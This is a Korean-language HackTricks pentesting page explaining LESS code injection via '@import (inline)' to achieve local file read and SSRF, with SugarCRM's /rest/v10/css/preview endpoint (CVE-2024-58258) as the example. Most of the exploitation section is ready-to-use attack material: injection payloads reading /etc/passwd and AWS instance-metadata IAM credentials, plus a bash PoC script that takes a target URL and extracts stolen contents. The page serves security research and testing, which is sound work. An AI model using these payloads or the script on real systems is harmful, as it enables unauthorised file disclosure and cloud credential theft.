LESS Code Injection leading to SSRF & Local File Read
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
LESS는 변수, mixins, 함수 및 강력한 @import 지시자를 추가하는 인기 있는 CSS pre-processor입니다. 컴파일 과정에서 LESS 엔진은 (inline) 옵션이 사용될 때 @import 문에 참조된 리소스를 fetch하여 해당 내용을 결과 CSS에 임베드(“inline”)합니다.
애플리케이션이 나중에 LESS 컴파일러에 의해 파싱되는 문자열에 user-controlled input을 연결(concatenate)할 경우, 공격자는 inject arbitrary LESS code할 수 있습니다. @import (inline)를 남용하면 공격자는 서버로 하여금 다음을 가져오도록 강제할 수 있습니다:
- 로컬 파일:
file://프로토콜을 통해 (information disclosure / Local File Inclusion). - 내부 네트워크 또는 클라우드 메타데이터 서비스의 원격 리소스 (SSRF).
이 기법은 SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint) 같은 실제 제품에서 발견된 바 있습니다.
Exploitation
- LESS 엔진이 처리하는 stylesheet 문자열 안에 직접 삽입되는 파라미터를 식별합니다(예: SugarCRM의
?lm=). - 현재 문장을 닫고 새로운 지시자를 주입합니다. 가장 흔한 원시(primitive)는 다음과 같습니다:
;– 이전 선언을 종료합니다.}– 이전 블록을 닫습니다(필요한 경우).
@import (inline) '<URL>';를 사용하여 임의의 리소스를 읽습니다.- 선택적으로 import 뒤에 marker(
data:URI)를 주입하여 컴파일된 CSS에서 가져온 내용을 추출하기 쉽게 만듭니다.
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
/etc/passwd의 내용이 HTTP 응답에 @@END@@ 마커 바로 앞에 나타납니다.
SSRF – 클라우드 메타데이터
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
자동화된 PoC (SugarCRM 예시)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
실제 사례
| 제품 | 취약한 엔드포인트 | 영향 |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | 인증되지 않은 SSRF 및 로컬 파일 읽기 |
참조
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


